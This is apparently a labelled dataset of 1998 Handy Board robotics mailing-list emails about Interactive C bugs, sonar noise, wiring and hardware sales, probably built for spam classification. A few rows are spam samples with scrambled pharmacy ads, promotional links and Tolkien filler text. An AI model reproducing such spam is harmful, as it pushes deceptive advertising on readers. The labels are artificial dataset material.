here)----------------------------------- int main() { float a; float b; float c; /* This program prints out the proper values for ""a"" and ""b"", but prints ""c"" to be "".1250034"" rather than something closer to ""0.25"" as expected. */ a = 1.570796; b = 6.2831; c = a/b; printf(""%f %f %f\\n"", a, b, c); } ----(cut here)----------------------------------- I would appreciate hearing if others can duplicate this bug. I'm using the standard ""free"" IC off of the ""ic2853r2.zip"" file. Thanks for your help, Rick ",0,0 TheHahns ,"""Mr. Carmack"" , HandyBoard List ","Mon, 27 Jul 1998 21:07:06 -0700",Re: Various Basic Issues,">(1) When you say IC is a subset of C, do you mean C or C++ ? I >imagine I will have to teach myself C, but was confused at the store >that most books were for C++. I believe it is a subset of striaght C. However, I never learned C: I junped straight into C++ before even getting my HB. However, programming was of no dificulty to me, even thought I only knew C++ >(2) What do =I= need to program with IC on my PC (Pentium 233 or so)? >I imagine I would need UNIX? Would the line editor for IC work on my >PC as well as MITY Athena, whatever that is? IC will work on a computer. I have used it on my 386/sx laptop as well on my Pentium 2 - 233 desktop. IC has been ported to the IBM/PC. All you need is a serial port...... >(3) I was going to ask if anyone had a ""cheat sheet"" for the resistor >color bands, but I found an excellent one on the web, thank goodness. >:-) > >I think the IC would be the hardest to tackle, and so it may be better >for me to not even try it, but stick to a simpler language, esp. as I >have not had a math class in 15 yrs, although that was Calc II. IC really is not that hard, especially if you keep the HB technical reference at your side. The only previous experiance I had had with programming was a little bit of BASIC, and then C++ (I learned all I know about c++ from the book 'teach yourself C++ in 21 days' by Jesse Liberty, and then by reading help files that came with my c++ compiler. C++ can't be that much more hard than Calc II! >Any comments anybody wants to throw at me? I appreciate the feedback >about Fischertechnic and I gobbled up 3 big sets (1400 pieces) for >half price this weekend. Phil Hahn phil@rent-a-nerd.com",0,0 Mike Davis ,handyboard@media.mit.edu,"Mon, 27 Jul 1998 20:56:38 -0700",FS: Extra HandyBoard for sale,"I have one extra HandyBoard that I will sell if anyone needs one. It is a fully assembled and tested board with Serial Interface/Charger Board and cases. It has never been used in a project (about 2 months old). I built two of these and find that I am only going to need one for now. It has the 68HC11E1 micro installed. It does NOT include an IR demodulator and I do NOT have an extra LCD display, so it does not include a display either. These two missing items amount to about $15. $225, if interested: Reply-to address or Mike ipscone@halcyon.com -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 Charles Hacker EAS ,handyboard@media.mit.edu,"Tue, 28 Jul 1998 15:17:04 +1000",Digital In and Analog Out Header,"Hello All, Just a quick question, On the handyboard there is a socket header for the 7 analog inputs, and 9 digital outputs. There is actually three rows of headers for these inputs. I am enquiring as to what are the three headers for? I am currently using the top row for the signal, the middle row for the common, and the bottom line is not wired. i.e. _____________________________ ooooooooooooooooooooooooooooo Signal --------------------------------------------------- _____________________________ ooooooooooooooooooooooooooooo Common --------------------------------------------------- _____________________________ ooooooooooooooooooooooooooooo Unknown --------------------------------------------------- What is the third line for, and are I wiring them correctly. I know I could look at the wiring under the board, but to save me pulling a Handyboard out of the (student proof) containers, I am hoping someone could answer this question. Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Richard meester ,Mike Davis ,"Tue, 28 Jul 1998 09:12:36 +0200",Re: 68hc11F1,"Hello Mike, Sorry for the cryptical message, I don't have a handyboard running at 16 Mhz, i made my own board, currently with a 68hc11F1(@16Mhz), 32 K external RAM, 32k External flash. My programs are run from the flash, leaving aprox 32 k of stack and heap. I also have a 50 pin header, to connect several other boards. On this connector i have connected 2 * 4K of IO space, with chip select lines. So i have 32k - 8k - 1k left for stack and heap. On this 2 * 4k io space i'm designing a servo board, for rc hobby servos, 16 in total with just 2 ICs. Another board i'm designing are H-bridges for 3 DC motors. I'm thinking of designing 3 PIC micro's for the PID interface as well as the encoder stuf and PWM stuf, and just interface to the PIC with giving positions to move to and a start signal. Hope this clarifies things. If you want more information please email me, I will put it on my homepage. Regards Richard. Email rjc.meester@wxs.nl http://home.pi.net/~rmeester Mike Davis wrote: > > I guess I missed the previous postings. Are you saying that you have a > HandyBoard running at 16Mhz (crystal or bus speed)? What, if anything > special, did you have to do to get it to run at this speed? > > Date sent: Mon, 27 Jul 1998 10:14:08 +0200 > From: Richard meester > To: ""handyboard@media.mit.edu"" > Subject: 68hc11F1 > > > Hello all, > > > > Thanks for all the replies that you have send. > > > > My board is now working, at 16 mhz with flash and ram. > > > > > > Richard > > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > -----------------------------------------------------------------",0,1 Bill James ,handyboard@media.mit.edu,"Tue, 28 Jul 1998 08:10:37 -0700",Update on the expansion board.,"Fred, I was wondering how the beta test of the handy board is going. Is the board a double sided board or a multilayered board? When will you be posting the artwork, I am interested in trying to make one? Thanks and keep up the good work. Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Remi Desrosiers ,handyboard@media.mit.edu,"Tue, 28 Jul 1998 09:41:13 -0400",Re: 68hc11F1,"At 09:12 7/28/98 +0200, you wrote: >Hello Mike, > >Sorry for the cryptical message, > >I don't have a handyboard running at 16 Mhz, i made my own board, >currently with a 68hc11F1(@16Mhz), 32 K external RAM, 32k External >flash. My programs are run from the flash, leaving aprox 32 k of stack >and heap. I also have a 50 pin header, to connect several other boards. > On this connector i have connected 2 * 4K of IO space, with chip select >lines. So i have 32k - 8k - 1k left for stack and heap. On this 2 * 4k >io space i'm designing a servo board, for rc hobby servos, 16 in total >with just 2 ICs. Another board i'm designing are H-bridges for 3 DC >motors. I'm thinking of designing 3 PIC micro's for the PID interface as >well as the encoder stuf and PWM stuf, and just interface to the PIC >with giving positions to move to and a start signal. For the H-bridges look for the LMD18200T at http://www.national.com/catalog There's also the LM689 for motion control, using PWM as output and quadrature encoder (4bits?) as input. However I think the command that must be sent are 8 parallel bits :( > >Hope this clarifies things. > >If you want more information please email me, I will put it on my >homepage. > >Regards Richard. >Email rjc.meester@wxs.nl >http://home.pi.net/~rmeester .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,1 Bill James ,handyboard@media.mit.edu,"Tue, 28 Jul 1998 09:01:42 -0700",Update,"Sorry, not the handyboard but the expansion board Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Dan White ,"""Mr. Carmack"" ","Tue, 28 Jul 1998 09:44:54 -0500",Re: Various Basic Issues,"Mr. Carmack wrote: > > Howdy from Texas. > > I have set myself the goal of making a robot with the handyboard -- > just for the learning of it. Until 2 days ago I had zero knowledge of > electronics, although I am teaching myself using some kits and books. > > I also do not know C language, although I have taken FORTRAN and COBOL > in the dark ages of my days as an unsuccessful computer science > undergrad. So, if you will pardon my ignorance and my background (I > have an MA in Applied Linguistics) and accept my enthusiasm and > motivation as a ransom, could y'all answer the following inquiries. > Know that I have read the 6.270 handbook and also most of the > handyboard tech reference, and also Art of Lego. > > (1) When you say IC is a subset of C, do you mean C or C++ ? I > imagine I will have to teach myself C, but was confused at the store > that most books were for C++. > > (2) What do =I= need to program with IC on my PC (Pentium 233 or so)? > I imagine I would need UNIX? Would the line editor for IC work on my > PC as well as MITY Athena, whatever that is? > > (3) I was going to ask if anyone had a ""cheat sheet"" for the resistor > color bands, but I found an excellent one on the web, thank goodness. > :-) > > I think the IC would be the hardest to tackle, and so it may be better > for me to not even try it, but stick to a simpler language, esp. as I > have not had a math class in 15 yrs, although that was Calc II. > > Any comments anybody wants to throw at me? I appreciate the feedback > about Fischertechnic and I gobbled up 3 big sets (1400 pieces) for > half price this weekend. > > Joseph A Carmack > age36 > father of 3 > Pflugerville, Texas > bookseller, Lego maniac Joseph, I am new to the handyboard myself but as a professional software engineer, I can give you some pointers on the software issues. When they say that IC is a subset of C they mean that there are certain ANSI C features that will not be found in IC. There is NO C++ in IC (Thank Goodness). Do not get a book with C++ unless you really want to be frustrated. C is a wonderfully powerful and terse language and you don't want or need C++ for simple robotics. I would recommend ""C for Dummies"" from the ...for Dummies series from IDG publishing. Keep in mind that this will be written for writing programs for a PC and spends a lot of time on printing messages to the screen but the information you will need is in there. Regarding your comment about a ""simpler language"": Most ""simpler languages"" do not make effiecient code which means that you may save time in development but the program won't run fast enough or will chew up all of your memory. I personally don't think that basic is easier than C once you understand the workings. But then I grew up on assemblers! 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I get the same results with version 3.2. Curiously, if I remove the last digit in the a = 1.570796 statement (or replace it with a zero), then I get the correct answer. I guess it has something to do with specifying too many significant digits in a floating point literal. Very strange. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Every improvement in communication Will Bain, makes the bore more terrible. & Tatoosh --Frank Moore Colby",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 28 Jul 1998 13:59:35 -0400",What types of IBMs does IC Run on?,"Greetings, I have recently gotten the free version of IC working. It was a battle and it seems that the type of host processor makes a difference. Running IC on an old IBM XT (8088) CPU produces the following error whenever a routine using floating point is loaded: C:\\IC >ic { lots of welcome stuff including Version 2.851 (Jul 27 1994) } Loading /ic/libs/lib_hb.lis { files loaded } run-time error M6107: MATH - floating-point error: unemulated Doing exactly the same thing on my Pentium system (In a Dos window) works just fine. Rick Moll tells me that running on his 486 Lap top works fine as well. So the question for the list is what types of machines work with IC. Scan the responces to this question, and if you don't see your machine type listed, please post it. Thank you, Fred Thompson ",0,0 """Fred G. Martin"" ",Sam_Wurzel@loomis.org,"Tue, 28 Jul 1998 14:16:08 -0400",Re: AC adaptor ,"Please see the FAQ for the answer to the adapter question: http://el.www.media.mit.edu/projects/handy-board/faq/ re: the L1, that substitution may or may not work. try it; if your motors don't work right, it could be that. Fred In your message you said: > I figured out all of my problems were caused by using an ac-dc adaptor with= > the wrong voltage. What is the correct output voltage for the adaptor tha= > t should be used with the handyboard? Also, I cannot find L1, the iron core= > inductor. I ordered my handyboard kit from the Hong Kong robot store and i= > nstead of the reddish iron core conductor i have an extra thing that had th= > e shape of a resistor and has ared=3D25088;green=3D54784;bl= > ue=3D44032 teal background and for stripes, silver gold b= > lack and brown. is this L1? > > Thanks, > > sam > > > >",0,1 AERICKSON@WELLESLEY.EDU,handyboard@media.mit.edu,"Tue, 28 Jul 1998 14:19:00 -0500",polaroid ultrasonic detector,"I'm trying to make the polaroid ultrasonic motion detector compatible with the crickets. Does anyone know where I can find a data sheet for these detectors? I unfortunately broke the last one I was using. I think I must have exceeded either the acceptable voltage or current limits. It would be nice to get my hands on a data sheet before I break another one. Thanks, Ava Erickson ",0,0 Rick Moll ,handyboard ,"Tue, 28 Jul 1998 13:35:43 -0500",Re: IC Floating Point Bug,"Will Bain wrote: > I get the same results with version 3.2. Curiously, if I remove the > last digit in the a = 1.570796 statement (or replace it with a zero), > then I get the correct answer. I guess it has something to do with > specifying too many significant digits in a floating point literal. > Very strange. If you notice, the constant is PI/2. If you add more significant digits you can even get ""a/b"" to become 0.5, that is twice the correct answer rather than half of it!!! The reason the bug concerns me so much is that since ""a"" and ""b"" print out correctly, it does *not* appear to be a problem with compiling the literal. That is, it appears that if that value happened to occur as a result of some prior calculation, you would get the same wrong result. Rick ",0,0 Rick Moll ,handyboard ,"Tue, 28 Jul 1998 15:05:27 -0500",interfacing V2X compass,"HB Folks, I'm currently using the HB to interface to a Vector 2X compass. I'm using the compass in RAW slave mode, so it's different than the hardware interface that's documented on the HB web site. But I did notice that the documented interface just left the ~RESET pin float high, so I assumed that the compass could be trusted to power up reliably as long as the interfaced pins are connected to i/o lines that boot up in a high-impedance (as should all of the SPI lines on the 6811). The V2X documentation says that should work, and the interface documented on the HB web site implied that it at least worked for someone. The problem I'm having is that most of the time this works fine; but occasionally the V2X gets into some state where it will not power up and work properly until I momentarily lower the ~RESET line (with a wire jumper). Have other folks got the V2X to work reliably for them with the ~RESET pin left unconnected??? Thanks, Rick ",0,0 Thelonius Wordlaw ,handyboard@media.mit.edu,"Tue, 28 Jul 1998 10:20:18 -0700",Re: VtAqGRA news,"Hi, V P L A X V C A r e m a I I L o v b n A A I z i i a G L U a t e x R I M c ra n A S http://www.onkolarebifan.com only poetical exaggeration applied to any hobbit, even to Old Tooks great- granduncle Bullroarer, who was so huge (for a hobbit) that he could ride a horse. He charged the ranks of the goblins of Mount Gram in the Battle of the ",1,1 Justin Kao ,Handyboard List ,"Tue, 28 Jul 1998 16:45:11 -0700",Re: What types of IBMs does IC Run on?,"I would guess this means that IC needs a math co-processor, in other words, a 486 DX or higher. -- Justin Kao",0,0 """Patrick P.K. Hui"" ",Sam Wurzel ,"Wed, 29 Jul 1998 07:51:42 +0800",Re: AC adaptor,"Hi All, That color code on inductor should read: BROWN(1), BLACK(0), GOLD, SILVER which is (1x10^0)uF => 1uF. Sorry for the confusing and we will mark that in the future. Thanks. Patrick --00-------------------------------------------------------- Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info E-mail: huip@hkstar.com ---------- From: Sam Wurzel To: handyboard@media.mit.edu Subject: AC adaptor Date: Wednesday, July 29, 1998 1:00 AM I figured out all of my problems were caused by using an ac-dc adaptor with the wrong voltage. What is the correct output voltage for the adaptor that should be used with the handyboard? Also, I cannot find L1, the iron core inductor. I ordered my handyboard kit from the Hong Kong robot store and instead of the reddish iron core conductor i have an extra thing that had the shape of a resistor and has ared=25088;green=54784;blue=44032 teal background and for stripes, silver gold black and brown. is this L1? Thanks, sam ----------",0,1 """Patrick P.K. Hui"" ",C.Hacker@mailbox.gu.edu.au,"Wed, 29 Jul 1998 07:58:19 +0800",Re: Digital In and Analog Out Header,"It should read: ooooooooooooooooooooooooooooo Signal --------------------------------------------------- _____________________________ 47K RESISTOR NETWORK _____________________________ ooooooooooooooooooooooooooooo +5V --------------------------------------------------- _____________________________ ooooooooooooooooooooooooooooo Ground --------------------------------------------------- Regards, Patrick --00-------------------------------------------------------- Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info E-mail: huip@hkstar.com ---------- > From: Charles Hacker EAS > To: handyboard@media.mit.edu > Subject: Digital In and Analog Out Header > Date: Tuesday, July 28, 1998 1:17 PM > > Hello All, > > Just a quick question, > > On the handyboard there is a socket header for the 7 analog inputs, > and 9 digital outputs. > > There is actually three rows of headers for these inputs. > I am enquiring as to what are the three headers for? > > I am currently using the top row for the signal, the middle row for > the common, and the bottom line is not wired. > > i.e. > > _____________________________ > ooooooooooooooooooooooooooooo Signal > --------------------------------------------------- > _____________________________ > ooooooooooooooooooooooooooooo Common > --------------------------------------------------- > _____________________________ > ooooooooooooooooooooooooooooo Unknown > --------------------------------------------------- > > What is the third line for, and are I wiring them correctly. > > I know I could look at the wiring under the board, but to save me > pulling a Handyboard out of the (student proof) containers, I am > hoping someone could answer this question. > > > > Charles Hacker > School of Engineering > Griffith University - Gold Coast > PMB 50 Gold Coast Mail Centre > Southport Queensland 9726 > Australia. > Email - C.Hacker@mailbox.gu.edu.au > Ph. (07) 55948 670 > Fax.(07) 55948 065",0,1 """Fred G. Martin"" ",Justin Kao ,"Tue, 28 Jul 1998 21:59:26 -0400",Re: What types of IBMs does IC Run on? ,"i'm pretty sure the DOS version of IC runs on 286's -- it may even run on 8086's that have the 8087 math co-processor. fred In your message you said: > I would guess this means that IC needs a math co-processor, in other words, a > 486 DX or higher. > > > > -- > Justin Kao > >",0,0 Richard meester ,Mike Davis ,"Wed, 29 Jul 1998 09:13:02 +0200",Re: 68hc11F1,"Hello mike, Mike Davis wrote: > > I am designing a board also. I want a basic board with minimum I/O (for > small projects) and expansion connector to expanded I/O (for larger projects). > Two questions... I also wanted a small board with MCU, memory, serial and a bus to the outside world. This way i made a general io board and could connect anything to it. > > > Hello Mike, > > > > Sorry for the cryptical message, > > > > I don't have a handyboard running at 16 Mhz, i made my own board, > > currently with a 68hc11F1(@16Mhz), 32 K external RAM, 32k External > > Is this the normal Crystal speed for the 11F1? I was not aware that the > HC11 could run that fast. You can buy the hc11F1 in 4 speeds, with a freq up to 16 Mhz, setting the e-clock to 4. This gives 250 ns cycle time. In the ref. manual you can find the mcu codes for the speeds, i don't know excact, but something like 68hc11F1FN4 Also did you do anything special because of the > higher speed; like ground planes, etc. Was this a PCB or wirewrapped? > My prototype is wirewrapped, i had some problems because of this, some bad connections. Also you should take into account the cycle time. Because during reads and writes during e-clock high you have 125 ns timing. If you use decoded r/~w and ather system signals, you should check the timing. I use a flash with 90 ns access time, and i also use a 74hct139 for system signal decoding (r/~w, E-clk). > > flash. My programs are run from the flash, leaving aprox 32 k of stack > > and heap. I also have a 50 pin header, to connect several other boards. > > On this connector i have connected 2 * 4K of IO space, with chip select > > lines. So i have 32k - 8k - 1k left for stack and heap. On this 2 * 4k > > io space i'm designing a servo board, for rc hobby servos, 16 in total > > with just 2 ICs. Another board i'm designing are H-bridges for 3 DC > > motors. I'm thinking of designing 3 PIC micro's for the PID interface as > > well as the encoder stuf and PWM stuf, and just interface to the PIC > > with giving positions to move to and a start signal. > > Since the HC11 only addresses 64K, and since there are internal resources > using some of that, how do you handle the overlap? > > I think I asked more than two questions. > > Thanks > > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- Hope this helps. ",0,0 Skye Legon ,handyboard@media.mit.edu,"Wed, 29 Jul 1998 09:58:01 -0400",IC floating point bug,"Has any new information on the IC floating point bug come up? I have been coding neural networks into my robot and was having problems. A simple 'test' network of simple values ran fine, but when I manually entered a real evolved network with many significant digits I got garbage results. I assumed I had a problem somewhere with my code and have been tearing out my hair, but if it is just a problem with entering long literal strings of digits... So what is up with NewtonLabs? I am an honest-to-gosh paying owner of IC 3.2, and emailed their support address months ago with a question about ""how much global variable space is possible in IC"", and have heard nothing. Will they ignore this problem too? Mildly annoyed, Skye. PS: Does anyone *else* know how much global variable space is available? >From the FAQ: User program object code plus user global variables: 16320 bytes available My code is about 10K in size, but I have problems with assigning more than about 60 bytes of global variable space. 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According to the specs, size, weight etc. it should be an ideal sensor for a robot. Since I have not much experience I hope to get all your help to get this going. I included some data, hoping to interest more people. Hope to hear from you. jaron -------------------------------------------------------------- The sensor itself measures about 40mm x 14 mm x 16mm and uses four pins to connect to the world. (Vin / GND / Vo / Vcc) Operating Supply Voltage Symbol Rating Unit ------ -------- ----- Vcc 4.4 to 7 V Electro - Optical Characteristics (Ta=25 degrees C, Vcc=5V) Parameter Symbol Conditions Min. Typ. Max. Unit ---------------------------- ------- --------------- ------- ----- ----- ----- Distance measuring range delta L - 10 - 80 cm Output terminal voltage Voh at high level Vcc-0.3 - - V Vol at low level - - 0.3 V Average supply current Icc during measuring - 10 - mA Standby mode supply current Iccoff Vin=high(current=off) - 3 8 uA Vin terminal current Ivin Vin=0V - -160 -270 uA Measuring principal and features of this sensor Principal of triangulation Optical spot position on PSD shall be changed when reflective object is at 'A' point and at 'B' point. By processing this optical spot position electrically, the position (distance) of the reflective object on straight line can be detected. Features of the GP2D02/05 * Compact high performance distance measuring sensor with build-in PDS, Infrared LED and signal processing circuit. * Little influence by collor and reflective ratio of the reflective object. * High accurracy measuring by sequential position detection and mean processing data output. * GP2D02: 8 bit serial measured output which is possible to connect directly with micro computer. * GP2D05: 1 bit (high/low) measured output. The measuring range can be adjustable as threshold level at any distance by adjusting the built-in volume. * Low current consumption at stand-by mode (Current consumption at stand-by mode: TYP 3uA) Input signal Input should be current driving input in order to improve the measuring accuracy. Circuit Example --------| | Vin terminal O-------------| | | | \\ | \\ | R 10k | \\| _______ sensor | /|----------|_____|----------O input | / | --------| / | | | --- /// Concrete application example of the GP2D02 * Output conversion The relation between the output of the GP2D02: ""D"" and the distance to the reflective object can be shown in the following: D=b/(L1+a)+C However, actual deviation shall deviate mainly shifting the following output curve (Distance characteristics) toward up and down direction. This is caused by the position tolerance between the detecting device (PSD) and the front lens in assembly This deviation will be appeared as 'C' in (*1). Since 'a' and 'b' can be assumed as almost constant value. actual relation between ""D"" and ""L"" shall be shown in the following: D=1560/L1+0.5)+C * Output conversion method As shown in (*2), the output of the GP2D02: ""D"" is in proportion to 1/(L1+0.5) (at L1=10 to 80cm). The relation graph between output ""D"" of the sample which has output characteristics shown in Fig.1 and 1/(L1+0.5) is shown in Fig.2. By getting ""C"" for each sample using (*2) the distance to the reflective object: ""L1"" can be calculated by output value ""D"". ... the datasheet continues ... ...",0,0 Bruce Moore ,handyboard@media.mit.edu,"Fri, 31 Jul 1998 07:22:41 -0400",HB and the Bloomington HS Solar Bike Team,"Hello All, I posted a little note a while back about our use of the HB on the two bikes that our local high school is using in solar bike races in Topeka and Akita, Japan. Well the races are over and I thought that some of you may be interested in the results. The bikes are stock bike frames with motor power, a minimum of 1.2 sq. meters of solar panels and batteries. The electrical system is supplemental to the rider supplied power. The races are 100 km. The idea is to make the best use of what power you have to help the rider. The HBs were used to monitor battery voltage and current, bike speed, and control settings. The HBs were also able to directly control the solid state motor speed controllers. The displays gave the riders information like battery voltage, current, accumulated amp-hours, speed, and control settings. All in all it worked great. So for the results; In the SunRaye in Topeka ; http://sunrayce.gmr.com/sea/bike_raycing/bikerayce.html Our Boys team took a second place in the “A” category under 18 group. The girls team took a first place in the “A” category under 18 group. In the World Solar Bike Race in Akita ; http://www.ogata.or.jp/english/wsr/98wsbr/98wsbr.htm The boys team took first place in the “A” category overall (that included the under 18 and mens groups). The girls team took a second place in the “A” category under 18 group. Both teams took first place in the spring portion of the race. That’s where they sprint a short track before the race for starting position. The link to the Akita race has a few pics of the bikes and riders. Its a little hard to see but the HBs are hanging from a set of Aero Bars located on the front of the handlebars. A few months ago when I first posted a message about this I got a few requests about the details. That is coming (I hope). I’m trying to get the kids to do that. We are starting up a web page with pics and details of the bike. BUT.... These a re HS kids and it is summer and... and... and.. Anyway I thought I would pass this info along since we did use the HB on the bikes with what I consider great success. Being able to know exactly how much power is being used from the batteries and having the ability to accurately control the power consumption is a valuable tool. (Plus I’ve got more bragging rights than most on this project since my son was one of the boy’s team riders) Special thanks to Fred for the design and the advice he was able to give us when we had some charging problems in Japan. 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Is the board a > double sided board or a multilayered board? When will you be posting the > artwork, I am interested in trying to make one? > > Thanks and keep up the good work. > > Bill James | work: 972.480.2306 > Product Test Specialist | Pager: 972.598.6201 > w-james2@ti.com > Precision Analog & Interface Department > > Polymath in Training | Have Spacesuit will Travel > ",0,0 """Fred G. Martin"" ","""Dan (Pulsar)"" ","Fri, 31 Jul 1998 13:35:11 -0400",Re: power glitch ,"Please see the FAQ: http://el.www.media.mit.edu/projects/handy-board/faq/ This is a known issue, with a simple fix: make sure to bootstrap with the board with pcode_hb.s19. Fred In your message you said: > I have just started useing my handy board and have had to deal with many > power glitches. > I don't know if this happens often, or if something is wrong. It seems to > happen at any time, even when I have only turned the board on and done > nothing else. > > Dan Fiore > dan6@maine.rr.com > ",0,1 Les Novotny ,handyboard@media.mit.edu,"Fri, 31 Jul 1998 12:07:54 -0700",unsubscribe," please unsubscribe me. I may be in as les@psi.bc.ca thanks ",0,0 anton_attanayake@rd.qms.com,handyboard@media.mit.edu,"Fri, 31 Jul 1998 14:25:59 -0600",Digital out puts," Hi guys, The handy board specification does not tell the number of digital outputs it has. I need at least four digital outputs from the board in order to make my robot function. Is there any way I can do this? Thanks, -anton ",0,0 """Fred G. Martin"" ",anton_attanayake@rd.qms.com,"Fri, 31 Jul 1998 16:42:35 -0400",Re: Digital out puts ,"Please see the FAQ, specifically: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#digout for the answer. Fred In your message you said: > > Hi guys, > > The handy board specification does not tell the number of digital > outputs it has. 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Mike >Hi! >I am having trouble with my Polaroid sonar: >When I keep my HB hooked up >to external power, I will only get correct readings up to 20 inches. As >soon as I use battery power without hooking it up to external power, the >readings are correct up to 6 feet, not more! This sound like EMI, I >guess. I tried all the capacitor tricks from HB mailing list, but in >vain. Do you know a fix that works? > >Alf H. Kuchenbuch > > ",0,0 Mark Wallace ,alf.kuchenbuch@usa.net,"Mon, 03 Aug 1998 11:16:50 -0400",Re: Polaroid trouble again," I had this same problem when I got mine a few weeks ago. I ended up putting a capacitor from pin 1 to pin 3 on U2 of the sonar driver board. I also had to take out the 1k resistor from the BINH. It kept BINH at 1 V instead of Zero and that seamed to cause problems. As for the 6 ft problem, it should be closer to 9 ft. I think the problem there is the IC code you used. If you used the code for SONAR.C from the HB web site then there is a problem with it. What that program does is take the difference in time from the internal clock. the problem is that in the code it says that if the difference between start time and currnet time is negative too much time has elapsed. Well, this has a 16 bit counter so when the difference is greater the about 32,700 it becomes negative. If you do the math, that means at about 9 ft that happens so it tell you you are out of range. The way I fixed this was to slow the clock down. I looked up information on the motorola web page and found where the prescalers were for the clock. If you want to slow it down by a factor of four you can just add this line to you program in sonar_init() bit_set(0x1024, 1); I believe bit_set(0x1024, 2); will slow it down by a factor of 8 and bit_set(0x1024, 3); will slow it down by a factor of 16. There are better ways of fixing this problem but they appear much more complicated. For example the motorola chip has an overflow flag that says when the internal clock flips. You could incorporate that into your code instead of slowing the clock down. Good luck and I hope this helps. Mark Wallace e-mail mawalla3@vt.edu mwallace@sps1.phys.vt.edu Web page http://sps1.phys.vt.edu/~mwallace/index.html ""What a waste it would be after 4 billion tortuous years of evolution if the dominant organism contrived its own self-destruction"" Carl Sagan On Mon, 3 Aug 1998, Alf Kuchenbuch wrote: > Hi! > I am having trouble with my Polaroid sonar: > When I keep my HB hooked up > to external power, I will only get correct readings up to 20 inches. As > soon as I use battery power without hooking it up to external power, the > readings are correct up to 6 feet, not more! This sound like EMI, I > guess. I tried all the capacitor tricks from HB mailing list, but in > vain. Do you know a fix that works? > > Alf H. Kuchenbuch > ",0,1 MAR ERICSON ,alf.kuchenbuch@usa.net,"Mon, 03 Aug 1998 11:35:09 -0400",Re: Polaroid trouble again,"You may be trying to draw more current that your external battery can handle. The HB Nicd battery can supply alot of current, both surge abd continuous. This may be why it works in this case. If your external battery is not NiCd, it might cause a problem. Try other sources and see if you get any results. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Mon, 3 Aug 1998, Alf Kuchenbuch wrote: > Hi! > I am having trouble with my Polaroid sonar: > When I keep my HB hooked up > to external power, I will only get correct readings up to 20 inches. As > soon as I use battery power without hooking it up to external power, the > readings are correct up to 6 feet, not more! This sound like EMI, I > guess. I tried all the capacitor tricks from HB mailing list, but in > vain. Do you know a fix that works? > > Alf H. Kuchenbuch > > ",0,0 anton_attanayake@rd.qms.com,handyboard@media.mit.edu,"Mon, 03 Aug 1998 13:23:40 -0600",speed of the board," Hi guys, I am worried about the 2MHz clock speed of the HB. The robot that I am building has a mouse in the bottom of it and I am writing the program to read the number of digital pulses and calculate the position relative to the starting point. There are many square roots and unit vector additions in the calculations. Do you think the above speed is good enough for the job? I know the E series 6811 runs at a faster clock speed. So can I replace the 6811 chip and the oscillator and get a faster performing controller board? If yes, please let me know where to get the parts and things to know when making the change. Thanks every body, -anton ",0,0 Rick Moll ,alf.kuchenbuch@usa.net,"Mon, 03 Aug 1998 17:27:31 -0500",Re: Polaroid trouble again,"Alf Kuchenbuch wrote: > Hi! > I am having trouble with my Polaroid sonar: > When I keep my HB hooked up > to external power, I will only get correct readings up to 20 inches. As > soon as I use battery power without hooking it up to external power, the > readings are correct up to 6 feet, not more! This sound like EMI, I > guess. I tried all the capacitor tricks from HB mailing list, but in > vain. Do you know a fix that works? I haven't used the Polaroid module with my HB, but I have used them a lot with 68332 micro-processors. I does sound like you may have an electrical noise problem (not EMI, but noise conducted through the power bus). The only way I've got the Polaroid modules to reliably measure long distances was to either use a separate power supply regulator for the sonar module, or to filter the micro-processor's power bus feed to the sonar through an L-C filter: (power bus +5V) >--(RF Choke)--*--> (+5V sonar power) | | (cap) | | (gnd) The RF Coke was 100uH with a 2A rating, and the cap was 2200uF with a 16V rating. DigiKey carries Panasonic caps which are low ESR, and much better than the ones you'll find at Radio Shack. You can find the RF Choke at Radio Shack, or at Mouser. Later, Rick ",0,0 Katelin Cloutier ,handyboard@media.mit.edu,"Mon, 03 Aug 1998 17:34:07 -0700",Re: your VeALtUM,"Hi V V P X A L C A I r a m e I L A o n b v A I G z a i i L U R a x e t I M A c n ra S http://www.viseoleave.com yet he did not dare to march among them because of his shadow (altogether thin and wobbly as it was in torch-light), or for fear of being bumped into and discovered. And when he did go out, which was not very often, he did no good. He did not wish to desert the dwarves, and indeed he did not know where in the world to go without them. He could not keep up with the hunting elves all the time they were out, so he ",1,1 Joanna ,Milos ,"Mon, 03 Aug 1998 13:24:51 +0000",weird stuff,"Maurice educated me that u were seeking for a place to get ur goodies. http://www.slubadakibalich.com/?a=1664/ the place then for sure. built will thick. many be fulfilled. royal palaces. An enormous stone lighthouse called the Pharos Joanna ",1,1 """Ross, Michael"" ","handybd , anton_attanayake@rd.qms.com","Tue, 04 Aug 1998 08:11:43 -0500",RE: speed of the board,"You shouldn't lose place if the mouse is serviced by input counters and interrupt routines, so whether 2 MHz is fast enough depends 